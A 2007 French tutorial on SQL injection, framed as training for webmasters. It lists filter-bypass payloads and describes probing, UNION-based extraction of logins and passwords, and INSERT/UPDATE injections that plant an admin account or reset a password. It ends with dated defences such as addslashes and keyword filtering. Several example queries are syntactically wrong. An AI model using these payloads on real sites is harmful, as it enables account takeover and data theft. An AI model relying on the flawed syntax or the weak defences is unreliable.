L'Injection SQL

By LordDaedalus (version du 10 Nov 07

Introduction

De nombreux sites stockent des données dans des bases de données. C'est le cas notamment des sites bancaires, de vente en ligne mais aussi des forums, des newsletters ou des moteurs de recherche, la liste est infinie.

Dans la majorité des cas, pour dialoguer avec ces bases de données qui sont situées sur un serveur on utilise le langage SQL. A partir de son navigateur, l'internaute envoie une demande d'informations ou d'inscriptions à un serveur. Cette demande s'effectue sous la forme d'une requête très structurée. Cette requête est analysée par le Serveur de Base de Données (SBD) et si, elle est compréhensible, (je ne dis pas conforme volontairement), le SBD traite la requête et renvoie les informations au serveur de l'internaute qui les affiche conformément à la programmation de sa page internet via un langage comme ASP, JS, PHP, etc…

Seulement, il est possible de modifier la requête émise par l'internaute pour obtenir un résultat qui n'était pas prévu, au début, par le programmeur. C'est le principe de la faille « Injection SQL ». On injecte dans un champ de formulaire, par exemple, une requête SQL, compréhensible par le serveur, mais qui permet d'obtenir des résultats voulus par le hacker et non par le programmeur du site. L'injection peut se faire via un champ de formulaire ou en modifiant l'url ou en passant les paramètres via la fonction POST.

Cet article suppose des connaissances en PHP et en base de données.

Présentation de SQL

Tout d'abord, qu'est-ce que SQL ? SQL (Structure Query Language) est un langage de dialogue avec les bases de données. C'est un langage de requête. C'est-à-dire qu'il envoie une requête qui est interprétée par le serveur de base de données (SBD). Ce SBD analyse la requête et, s'il la comprend, renvoie les informations qui sont, ensuite, interprétés sur la machine cliente à travers des langages comme ASP, PHP, JS, …Ces requêtes ont une structure précise.

A titre d'exemple, nous allons considérer dans cet article une base de données avec 2 tables (News & Admin). La table News comprend 4 colonnes (Nom, Prenom, Email, Article) et la table Admin comprend 3 colonnes (Id, Login, Password).

Dans cette base de donnée, l'individu Jean Dupont dont l'email est jean.dupont@mail.com et qui a écrit l'article Article_Dupont avec comme Id 87, comme login Dupont et comme mot de passe Jean est rangé sous la forme :

- Dupont,Jean,jean.dupont@mail.com, Article_Dupont dans la table News

Et sous la forme :

- 87,Dupont,Jean dans la table Admin

Pour voir toutes les informations concernant les News de Dupont, la requête SQL est :

- SELECT * FROM News WHERE Nom=’Dupont’

Si on ne veut que le nom :

- SELECT Nom FROM News WHERE Nom=’Dupont’

Si on veut le nom et le prénom :

- SELECT Nom, Prenom FROM News WHERE Nom=’Dupont’

Si on veut supprimer Dupont :

- DELETE FROM News WHERE Nom=’Dupont’

Si on veut mettre à jour le mail de Dupont :

- UPDATE FROM News SET Email = ‘nouveau.mail@mail.com’ WHERE Nom=’Dupont’

Si on veut rajouter Durant :

- INSERT INTO News(Nom,Prenom,Email,Article) VALUES (’Durant’, ‘Jean’,’jean.durant@mail.com’,’article de Jean’

Caractères spéciaux du langage SQL

Quelques remarques complémentaires à propos des caractères utilisés dans le langage SQL.
Pour les commentaires :

- Sous MySQL, les commentaires sont sous la forme #
- Sous Microsoft SQL, ils sont sous la forme --
- Par exemple :
- SELECT * FROM News WHERE Nom=’Dupont’#
- SELECT * FROM News WHERE Nom=’Dupont’ --
- Tout ce qui est après ne sera pas pris en compte

On peut également insérer des commentaires dans une commande sous la forme /*commentaires*/ mais seul la partie entre « /* » et « */ » ne sera pas pris en compte. Par exemple :

- SELECT Nom /*commentaires*/ FROM News WHERE Nom=’Dupont’

Qui sera vu comme :

- SELECT Nom FROM News WHERE Nom=’Dupont’

Les symboles (apostrophe) « ‘ » ou (double quote) « “ » sont différents.

On peut également remplacer les (espaces) « » par des « + ». Par exemple, la requête :

- ORDER BY Nom devient ORDER+BY+Nom

On peut enchainer plusieurs commandes en les séparant d’un point-virgule « ; », par exemple :

- SELECT * FROM News WHERE Nom=’Dupont’; SELECT * FROM News WHERE Nom=’Durant’

Présentation de la faille Injection SQL

On considère, aujourd'hui, que 50 % des sites de e-commerce et 75 % des « petits » sites sont concernés. C'est une attaque qui concerne uniquement l'application internet (le site Web) elle ne concerne absolument pas le serveur. Pour mener à bien son exploit, le hacker essayera d'identifier le serveur afin d'identifier les SBD (mySQL, Microsoft, SQL, …) et donc d'adapter son attaque.

Le principe de l'injection SQL est très simple. Il s'agit de rajouter des commandes SQL à la requête prévue par le programmeur. Par exemple, supposons que le programmeur ait prévu d'afficher, à la demande de l'utilisateur Dupont son compte, c'est-à-dire son nom, prénom et email. Via le formulaire (<input type="text" name="nom">) il va récupérer le nom de l'utilisateur et réaliser une requête d'affichage sous la forme :

- SELECT * FROM News WHERE Nom='Dupont'

Que se passe-t-il si dans le champ « nom », nous écrivons, à la place de Dupont tout seul :

- Dupont' OR '1'='1

La requête au niveau du serveur sera :

- SELECT * FROM News WHERE Nom='Dupont' OR '1'='1'

Pour le serveur '1'='1' est une requête toujours vraie. Même si Dupont n'existe pas il renverra toutes les informations (* signifie toutes les informations)
A partir de là de nombreuses possibilités s'ouvrent.

Détection d'une faille Injection SQL

Dans de nombreux sites, on voit des url sous la forme

- /index.php ?id=3

Qui permet d'afficher la page n°3 ou l'information n°3. Sous jacent à cette écriture, existe généralement une base de données. Pour le vérifier, il suffit de tester, par exemple, l'injection suivante :

- /index.php ?id=3 OR 1=1
- /index.php ?id=3 - 1

Si on a une url de la forme :

- /index.php ?id=Book

On peut tester :

- /index.php ?id= Bo'%2b'ok ou /index.php ?id= Bo+ok (%2b = +)
- /index.php ?id= Bo' || 'ok
- /index.php ?id= Book' OR 'x'='x

Si le serveur interprète les commandes et affiche la page 3 ou l'article Book c'est que le site n'est pas probablement pas ou mal protégé contre les injections SQL.

Exemples d'injection SQL simple.

Il existe de nombreuses formes d'injection SQL, même si elles se présentent sous la même forme, toutes visent à passer les différents filtres. En voici quelques exemples :

- OR '1'='1
- 'OR 1=1
- 'OR 1<2
- 'OR 1<>2
- 'OR 'a'='a
- 'OR 'a'<>'b

…

Il faut aussi penser à remplacer « ' » par « " » car cette définition dépend du SDB.

Les caractères utilisés pour passer les filtres (ne pas tenir compte des guillemets, tout mettre à la suite) sont :

- « ' »
- « " » «' »
- « " »
- « ' » «" »
- « \ » «' »
- « \ » «" » «% »
- « 00 » «' »
- «') or '1'='1--»
- «') or ('1'='1--»
- «') or '1'='1#»
- «') or ('1'='1#»
- Etc…

Utilisation de la commande ORDER BY

Une des difficultés pour accéder à une base de données est de définir le nombre de colonne dans une table. Pour cela on utilise la commande ORDER BY. Supposons que nous ayons une url sous la forme /id=4. On effectue une injection sous la forme :

- /id=4 ORDER BY 1

Normalement, la table possède au moins une colonne. Il n'y aura donc pas d'erreur. On continue avec :

- /id=4 ORDER BY 2
- /id=4 ORDER BY 3
- /id=4 ORDER BY 4
- /id=4 ORDER BY 5
- Etc …

Jusqu'à obtenir une erreur par exemple en 5. Il y a donc 4 colonnes. Il existe d'autres méthodes pour obtenir ces informations.

Utilisation de la commande LIKE

Dans les moteurs de recherche, par exemple, on ne connait pas toujours la terminologie exacte de ce que l'on recherche. Supposons que dans la base de News nous cherchions un article contenant quelque chose comme « prod », nous utiliserons la requête LIKE

- SELECT Article FROM News WHERE Nom LIKE ‘%prod%’

Le SDB va chercher tous les articles contenant « prod ». Si on écrit :
- SELECT Article FROM News WHERE Nom LIKE ‘prod%’

Il affichera tous ceux commençant par “prod”

Et si on écrit :
- SELECT Article FROM News WHERE Nom LIKE ‘%prod’

Touts ceux finissant par “prod”

Généralement ces requêtes arrivent via un formulaire et le mot à chercher est passé par un POST. La requête s’écrit alors :
- SELECT Article FROM News WHERE Nom LIKE ‘%".$_POST["prod"]%’

C’est à dire :
- SELECT Article FROM News WHERE Nom LIKE ‘%prod%’

En soi rien d’extraordinaire. Supposons maintenant que la variable $_POST["prod"] ne soit pas filtré. Rien ne nous empêche de remplacer « prod » par « pr od », en introduisant un « » qui est une fin de chaine de commande. La requête devient :
- SELECT Article FROM News WHERE Nom LIKE ‘%pr od%’

Le SBD interprète la commande sous la forme :
- SELECT Article FROM News WHERE Nom LIKE ‘%pr

Et ne peut pas l’interpréter car il manque le caractère de fin « ‘ ». Il renvoie donc un message d’erreur. Il n’y donc pas eu de traitement de la variable et c’est là que réside la faille.

Remplaçons maintenant « prod » par « prod’ OR ‘1%’ =1%’ », la requête devient :
- SELECT Article FROM News WHERE Nom LIKE ‘%prod’ OR ‘%1= 1%’

Qui est conforme à la syntaxe SQL et est toujours vraie.

Quel est le risque ? Supposons que nous soyons en présence d’un formulaire d’identification avec login et mot de passe. Cette faille peut être utilisée pour se loger sans autorisation.
- SELECT login FROM Admin WHERE login LIKE ‘%Toto’ OR ‘%1= 1%’

La requête étant toujours vrai, le pirate se retrouve loger sur la base de donnée, sous réserve qu’il n’y ait pas de contrôle sur le mot de passe.

Version du serveur SDB

Il y a des fonctions qui ne sont implémentées dans le SDB qu’à partir d’une certaine version, c’est le cas par exemple de la commande UNION (voir ci-après). De plus, la connaissance de la version et, encore mieux du type de SDB, est un plus pour un hacker car cela lui permet d’adapter sa stratégie d’attaque. Pour cela on utilise la fonction @@version via une injection. Par exemple :
- /index.php ?Id=3 OR @@version > 3;

Si la version est <=3 pas d’erreur. Alors, on essaye avec 4. Puis avec 5. Quand le serveur plante, on a la version. On peut aussi obtenir des informations sur l’indice avec :
- /index.php ?Id=3 OR SUBSTRING(@@version,1,3) = 4.1

Même principe, en fonction de l'erreur on a l'information.

Utilisation de la commande UNION

Reprenons l'exemple de :

- /index.php ?Id=3

Et remplaçons « 3 » par « -1 ». Comme il n'y a pas d'Id = -1, la requête plante, le serveur renvoie, dans notre cas, la réponse suivante :

- Votre requête « SELECT Id,login,passwd FROM Admin WHERE Id = -1 » n'est pas conforme … (en anglais tout ça bien sûr)

Et là, Oh merveille !, on récupère le nom des champs « Id,login,passwd » de la table « Admin » !

Il ne reste plus qu'à exploiter ces informations. Pour ce faire, on utilise la fonction UNION de SQL (UNION n'est disponible qu'à partir de la version 4.0) qui permet d'associer, comme son nom l'indique deux requêtes SQL. Par exemple :

- SELECT * FROM News WHERE Nom='Dupont' UNION SELECT * FROM News WHERE Nom=Durant'

Ici on affiche les informations sur Dupont et sur Durant.

Pour exploiter la faille, on va passer une première requête conforme :

- SELECT * FROM News WHERE Nom='Dupont'

Et on va rajouter une requête pour obtenir les informations que l'on souhaite :

- UNION * FROM Id,Login,Password WHERE Login LIKE 'a%'

On lui demande d'afficher tous les champs ou le login commence par « a » ce qui donne comme requête finale :

- SELECT * FROM News WHERE Nom='Dupont' UNION * FROM Id,Login,Password WHERE Login LIKE 'a%'

Avec un peu de patience, on finit par trouver le login, reste à faire la même chose pour le mot de passe. On peut évidemment réduire ce « BrutForce » en essayant de deviner le login (admin, administrateur, …) ou … bien en analysant le site, il y a souvent de nombreuses informations directement accessibles.

Quand on a trouvé un login (Dupont) et afin de ne pas tourner en rond, on peut trouver la longueur du mot de passe, en faisant une requête du style :

- UNION * FROM Id,Login,Password WHERE Login = 'Dupont' AND LENGTH(Password) = 6

Si la longueur du mot de passé est de 6, on se retrouve dans le compte de Dupont sinon on a un message d'erreur.

Utilisation de la commande INSERT

Il n'est pas toujours possible de s'enregistrer dans une base de donner car il n'y a pas forcément une page de « registration », en fait, il faut envoyer une demande au webmaster qui fait une ouverture de compte et donne les informations d'accès. Il existe pourtant une possibilité de passer outre. Pour cela, on utilise la commande INSERT. Une fois la faille

Injection repérée on peut par exemple l'utiliser pour s'inscrire. Dans notre exemple, la requête d'inscription serait :

- INSERT INTO Admin(Id,Nom,Prenom) VALUES ('1', 'Hackeur','Hack')

En mettant l'Id à 1, on peut ainsi essayer d'avoir le niveau administrateur. La requête est alors injectée sous la forme :

- /index.php ?Id=3 UNION INSERT INTO Admin(Id,Nom,Prenom) VALUES ('1', 'Hackeur','Hack')

Il ne reste plus alors qu'à se loger. Cette commande peut, bien évidemment, être utilisée à de nombreuses autres fins.

Utilisation de la commande UPDATE

Supposons que nous ayons eu connaissance du login d'un internaute mais nous ne connaissons pas son mot de passe. On peut alors essayer d'utiliser la commande UPDATE pour mettre son environnement à jour avec nos informations. Prenons l'exemple, on nous savons que Dupont à un compte. On peut injecter une commande sous la forme

- UPDATE Admin SET Password='Hacker' WHERE Nom='Dupont'

Que l'on injecte dans l'url ce qui donne :

- /index.php ?Id=3 UNION UPDATE Admin SET Password='Hacker' WHERE Nom='Dupont'

Connaissant le login Dupont et le Password Hacker on peut se loger.

Quelques astuces complémentaires :

En toute bonne logique, au début, le hacker n'a aucune information sur la base de données qu'il souhaite attaquer. Il procède donc en aveugle (Blind Injection). Il va donc commencer par essayer d'obtenir des informations sur le SDB. Une des meilleures façons d'obtenir des informations d'un SDB est de le faire planter sur une requête. On peut pour cela, utiliser la division par Zéro. Revenons à notre exemple :

- /index.php ?Id=3

On peut par exemple essayer, la division par zéro

- /index.php ?Id=3/0

Ou le Buffer overflow avec 1000 ou 2000 caractères de préférence spéciaux

- /index.php ?Id=({|\^@] …

Une autre façon d'essayer de passer les filtres est d'envoyer des commandes en hexa. Par exemple, « admin » en hexa s'écrit 61646D696E, on peut donc essayer de passer

- /index.php ?Id=3 UNION SELECT * FROM 0x61646D696E

Remarques :

Certaines commandes présentées précédemment ne sont hélas pas compatibles ensemble. Par exemple, via la commande UNION on ne peut pas réunir SELECT & UPDATE, SELECT & INSERT, SELECT & SHOW, SELECT & SHOW… Le point-virgule « ; » ne marche pas non plus.

Les exemples présentés ici ne fonctionnent pas toujours, il faut parfois chercher longtemps pour trouver la bonne syntaxe.

Comment éviter cette faille.

La première des règles est de ne jamais faire confiance aux capacités de l'internaute. Il faut filtrer TOUTES les variables qui rentrent.

Dans un premier temps, il faut supprimer tous les guillemets pour cela on peut utiliser la fonction addslashes() ou l'option magic_quotes_gpc dans configuration du SDB. Mais cela ne filtre pas les chiffres et donc des requêtes du type : 'OR 1 = 1 passeront toujours. Pour cela, on rajoute des guillemets autour des chiffres. Il existe une fonction dédiée à la correction de cette faille : mysql_real_escape_string().

Ensuite, il faut filtrer au maximum les possibilités des champs de façon à supprimer systématiquement les mots comme INSERT, UNION, …

Il est évidemment qu'il n'y a aucune certitude concernant la sécurité des failles de type Injection SQL car on découvre tous les jours de nouvelles méthodes d'injection. Néanmoins ces méthodes de filtrage vous protégerons contre la majorité des attaques et notamment celles des débutants style « lammers » et « Script Kiddies ». Contre des professionnels du Hack, il est préférable de mettre en place des systèmes de surveillance des accès et de déclencher des alertes quand ce genre de tentative est détecté.

Pour en savoir plus :

- http://www.thehackademy.net/article.php?story_id=95&section_id=57
- http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
- http://www.nextgenss.com/papers/advanced_sql_injection.pdf
- http://www.phpfrance.com/

Pour me contacter :
LordDaedalus@gmail.com

Responsabilités

Cet article a été écrit uniquement à titre de formation pour les webmasters afin de les aider à sécuriser leur site. Vous êtes seul responsable de l'utilisation des informations publiées dans cet article. L'auteur et l'hébergeur ne peuvent être tenus responsables de vos actions. Pour rappel :

Loi n° 2004-575 du 21 juin 2004 art. 45 I Journal Officiel du 22 juin 2004)

Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de traitement automatisé de données est puni de deux ans d'emprisonnement et de 30000 euros d'amende.

Lorsqu'il en est résulté soit la suppression ou la modification de données contenues dans le système, soit une altération du fonctionnement de ce système, la peine est de trois ans d'emprisonnement et de 45000 euros d'amende.